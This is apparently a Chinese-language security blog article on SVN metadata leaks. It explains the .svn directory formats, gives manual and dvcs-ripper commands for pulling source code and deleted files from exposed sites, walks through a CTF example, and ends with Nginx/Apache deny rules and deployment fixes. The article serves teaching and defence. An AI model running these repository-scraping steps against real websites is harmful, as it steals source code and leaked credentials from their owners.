SVN 信息泄露漏洞原理、利用与防护

Jun 2, 2026 分钟阅读

SVN 信息泄露漏洞原理、利用与防护

一、什么是 SVN 信息泄露漏洞

SVN(Subversion)是一种集中式版本控制系统,广泛用于代码管理。在 Web 开发中,开发者常常直接将包含 .svn 目录的项目部署到 Web 服务器的根目录下。如果服务器没有正确配置访问控制,攻击者就可以通过浏览器直接访问 .svn 目录下的文件,从而获取网站的源代码、历史版本、敏感配置甚至数据库密码,这种安全问题被称为 SVN 信息泄露漏洞。


二、漏洞原理

2.1 .svn 目录的作用

SVN 在每个工作副本(Working Copy)的根目录下维护一个隐藏的 .svn 目录,用于存储版本控制所需的元数据。这些元数据包括:

  • 仓库地址(Repository URL)
  • 文件版本信息
  • 完整的文件历史内容(pristine 副本)
  • 本地修改状态
  • 作者、提交时间等日志信息

2.2 旧格式(SVN 1.6 及更早)

在旧版本中,.svn 目录分散在每个子目录中,结构如下:

1.svn/
2  entries          # 文件/目录列表及版本信息
3  format           # 工作副本格式版本号
4  text-base/       # 当前版本文件的原始副本
5  prop-base/       # 属性文件
6  props/           # 本地修改的属性
7  tmp/             # 临时文件

关键风险点:entries 文件以明文形式记录目录结构和版本号,text-base/ 下存储着当前版本所有文件的完整原始内容。即使服务器禁止了目录遍历,攻击者仍可以直接猜测并下载这些文件。

2.3 新格式(SVN 1.7+)

从 SVN 1.7 开始,工作副本改为单 .svn 模式,所有元数据集中在根目录的 .svn 中:

1.svn/
2  wc.db            # SQLite 数据库,包含所有文件元数据
3  format           # 格式版本号
4  pristine/        # 按 SHA1 散列存储的文件原始副本
5  tmp/             # 临时文件

关键风险点:

  • wc.db 是一个 SQLite 数据库,包含 NODES 表,记录了每个文件的路径、版本号、状态(是否存在)以及对应的 SHA1 校验值。
  • pristine/ 目录按 SHA1 前两位分目录,存储着所有当前工作副本中文件的完整内容。
  • 即使某个文件在最新版本中被删除,如果历史版本的 pristine 数据仍留在服务器上,攻击者依然可以下载到旧版本内容。

2.4 为什么会泄露

  1. 直接部署工作副本:开发者使用 svn checkout 获取代码后直接作为 Web 根目录,没有删除 .svn。
  2. 服务器配置不当:Web 服务器(Nginx/Apache)没有禁止对隐藏目录(如 .svn、.git、.hg)的访问。
  3. 错误页面返回 200:某些情况下,服务器对不存在的资源也返回 200 状态码,导致自动化工具误判。

三、漏洞利用方法

3.1 手动利用思路

  1. 探测目标:访问 http://target/.svn/entries 或 http://target/.svn/wc.db,若返回文件内容,则确认存在泄露。
  2. 读取 wc.db:下载 wc.db 后用 SQLite 查看 NODES 表,获取文件列表和 SHA1 值。
  3. 下载 pristine 文件:根据 SHA1 构造路径 http://target/.svn/pristine/<前2位>/<完整SHA1>.svn-base,下载文件原始内容。
  4. 查找历史版本:检查 NODES 表中 presence = 'not-present' 的被删除文件,其旧版本可能仍存在于 pristine/ 中。

3.2 使用 dvcs-ripper 自动化挖掘

dvcs-ripper 是一款专门用于从 Web 可访问的版本控制系统中抓取仓库的工具,支持 SVN、Git、Mercurial、Bazaar、CVS 等。

安装依赖

1# Debian / Ubuntu
2sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
3
4# 可选(提高 Git 抓取速度)
5sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-combinatorics-perl
6
7# 安装对应的版本控制客户端(用于 revert/checkout)
8sudo apt-get install subversion git mercurial bzr cvs

抓取 SVN 仓库

1# 基础用法
2./rip-svn.pl -v -u http://target/.svn/
3
4# 忽略 SSL 证书验证
5./rip-svn.pl -s -v -u https://target/.svn/
6
7# 指定输出目录
8./rip-svn.pl -o /path/to/output -v -u http://target/.svn/

参数说明:

  • -u <URL>:目标 .svn 目录的 URL(必需)
  • -v:显示详细信息(-vv 更详细)
  • -s:忽略 SSL/TLS 证书验证
  • -c:抓取结束后自动执行 svn revert -R .(默认开启)
  • -o <dir>:指定输出目录

工作原理

rip-svn.pl 的执行流程:

  1. 下载 .svn/ 下的核心文件(entries、format、wc.db)。
  2. 若检测到 wc.db(新格式),读取 PRISTINE 表,根据 SHA1 值批量下载 pristine/ 目录下的文件。
  3. 若检测到 entries(旧格式),解析文件列表,批量下载 text-base/ 下的 .svn-base 文件。
  4. 最后调用 svn revert -R . 尝试恢复完整目录结构(需要本地安装 svn 客户端)。

3.3 实战演示

以某 CTF 题目为例:

1./rip-svn.pl -v -u http://challenge-d407c31802bc106d.sandbox.ctfhub.com:10800/.svn

输出:

1[i] Found new SVN client storage format!
2REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
3[i] Trying to revert the tree, if you get error, upgrade your SVN client!

抓取完成后,查看 .svn/wc.db:

1sqlite3 .svn/wc.db "SELECT local_relpath, revision, presence, checksum FROM NODES"

结果:

local_relpathrevisionpresencechecksum
index.html1normal$sha1$bf45c36a4dfb73378247a6311eac4f80f48fcb92
flag_2241215739.txt3not-present

flag_2241215739.txt 在 revision 3 中被删除,但工具在抓取 PRISTINE 表时已经下载了历史文件:

1$ find .svn/pristine -type f
2.svn/pristine/29/295711e8072b193b7ddaafe9833d4359ce4d2b3f.svn-base
3.svn/pristine/bf/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base

查看未知文件的内容:

1$ cat .svn/pristine/29/295711e8072b193b7ddaafe9833d4359ce4d2b3f.svn-base
2ctfhub{9ae46ca4571131d09cf0277c}

关键点:即使文件在最新版本中被删除,其历史 pristine 副本仍可能留在服务器上并被下载。


四、防护措施

4.1 Web 服务器层面

Nginx:

 1# 禁止访问所有隐藏目录(以点开头的目录/文件)
 2location ~ /\. {
 3    deny all;
 4    return 404;
 5}
 6
 7# 或仅禁止特定目录
 8location ~ /\.(svn|git|hg|bzr|cvs) {
 9    deny all;
10    return 404;
11}

Apache:

1# httpd.conf 或 .htaccess
2<DirectoryMatch "^\.">
3    Require all denied
4</DirectoryMatch>
5
6# 或仅禁止特定目录
7<DirectoryMatch "\.(svn|git|hg|bzr|cvs)">
8    Require all denied
9</DirectoryMatch>

4.2 部署流程层面

  1. 导出而非检出:使用 svn export 代替 svn checkout。export 只导出纯代码文件,不包含 .svn 元数据。

    1svn export https://svn.example.com/repo/trunk /var/www/html
    
  2. 构建脚本清理:在 CI/CD 流程中增加清理步骤,确保部署包中不包含版本控制目录。

    1rm -rf .svn .git .hg .bzr CVS
    
  3. 使用 rsync 排除:

    1rsync -av --exclude='.svn' --exclude='.git' ./ deploy@server:/var/www/
    

4.3 开发与运维规范

  1. 代码审查:在合并请求(MR/PR)中检查是否有意外上传的 .svn 目录。
  2. 定期扫描:使用目录扫描工具(如 Dirsearch、Gobuster)或 WAF 规则检测 .svn 访问请求。
  3. 安全意识培训:提醒开发人员不要直接将开发环境的文件夹整个上传到生产服务器。

4.4 漏洞修复建议

若已发现泄露:

  1. 立即移除 .svn 目录,不要仅依赖服务器配置禁止访问。
  2. 更换所有泄露的敏感信息(数据库密码、API Key、Token 等)。
  3. 审查泄露内容:检查源代码中是否包含硬编码密钥、内网地址、注释中的敏感信息。
  4. 检查历史版本:由于 pristine 中可能包含旧版本的敏感文件,建议审计 SVN 仓库历史,确认是否有更多敏感信息曾被提交。

五、总结

SVN 信息泄露是一种常见但危害严重的配置型漏洞。其核心原因在于将包含元数据的版本控制工作副本直接部署到生产环境。攻击者利用 dvcs-ripper 等工具可以高效地自动化抓取 .svn 目录,恢复源代码甚至获取已被删除的历史文件。

防御的核心原则是:生产环境只应包含运行所需的代码文件,不应包含任何版本控制元数据。 通过规范的部署流程、Web 服务器访问控制以及定期的安全扫描,可以有效杜绝此类漏洞。